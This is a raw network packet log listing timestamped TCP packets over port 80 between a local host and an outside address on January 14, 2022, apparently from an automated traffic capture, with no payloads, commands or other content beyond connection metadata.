Jan 14, 2022 20:29:55.745769024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745773077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745807886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745840073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745846987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745860100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745910883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745953083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.745954990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.745990038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746028900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746032000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746068001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746068954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746105909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746146917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746149063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746185064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746222973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746227980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746262074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746263981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746303082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746342897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746344090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746383905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746421099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746449947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746452093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746483088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746522903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746541023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746562004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746592045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746604919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746634960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746646881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746675014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746715069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746717930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746747971 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746758938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746762991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746798038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746840000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746850014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746891975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746929884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746934891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.746969938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.746984005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747019053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747059107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747061014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747100115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747138977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747142076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747179985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747210026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747220039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747231960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747260094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747301102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747303009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747342110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747380972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747384071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747422934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747425079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.747461081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.747519970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.775300980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.778841019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.778896093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.778938055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.778969049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779007912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779011965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779048920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779050112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779090881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779133081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779135942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779175043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779179096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779211998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779252052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779257059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779292107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779330015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779335976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779371023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779409885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779414892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.779449940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.779452085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.782896996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.805805922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.805906057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.805911064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.805958033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.805965900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806005955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806050062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806062937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806092024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806130886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806130886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806157112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806171894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806195021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806211948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806263924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806274891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806303978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806341887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806353092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806382895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806421995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806453943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806483984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806524992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806526899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806570053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806608915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806622982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806648970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806654930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806689024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806694984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806729078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806734085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806765079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806768894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806807995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806811094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806859970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806863070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806900024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806912899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806938887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806941986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.806978941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.806982994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807019949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807030916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807059050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807059050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807099104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807138920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807142019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807177067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807177067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807215929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807225943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807255030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807266951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807296038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807301998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807337046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807347059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807374954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807374954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807415009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807454109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807456970 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807495117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807533979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807538033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807570934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807611942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807614088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807652950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807689905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807694912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807729959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807770967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807775021 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807809114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807848930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807852030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807889938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807929993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.807933092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.807971954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808008909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808013916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808049917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808089018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808092117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808126926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808166981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808167934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808206081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808247089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808264017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808298111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808336973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808340073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808377028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808415890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808418036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808453083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808492899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808494091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808532953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808573961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808574915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808617115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808655024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808657885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808693886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808732033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808737040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808769941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808798075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808809042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808819056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808847904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808887005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808900118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.808916092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808957100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808995008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.808996916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809032917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809036016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809068918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809072018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809108973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809123039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809148073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809161901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809185982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809196949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809223890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809226036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809266090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809267044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809303045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809315920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809341908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809343100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809384108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809384108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809421062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809432030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809458017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809459925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809498072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809511900 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809537888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809549093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809576988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809581995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809626102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809710026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809747934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809787989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809791088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809825897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809870005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.809887886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809926033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809964895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.809969902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810003042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810044050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810045958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810084105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810122013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810126066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810162067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810201883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810204983 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810239077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810277939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810280085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810317039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810355902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810358047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810395956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810436010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810440063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810475111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810513973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810518026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810550928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810590029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810594082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810630083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810668945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810672998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810709000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810719013 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810745955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810761929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810786009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810792923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810825109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810836077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810863018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810904980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.810906887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.810966015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811007023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811012030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811047077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811085939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811095953 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811125040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811165094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811175108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811202049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811242104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811245918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811280012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811320066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811325073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811358929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811397076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.811403036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.811551094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869657040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.869720936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869721889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.869761944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.869762897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869805098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869890928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.869935036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.869936943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869978905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.869980097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870019913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870049000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870079041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870110989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870151043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870157957 CET	49882	80	192.168.2.4	81.163.30.181
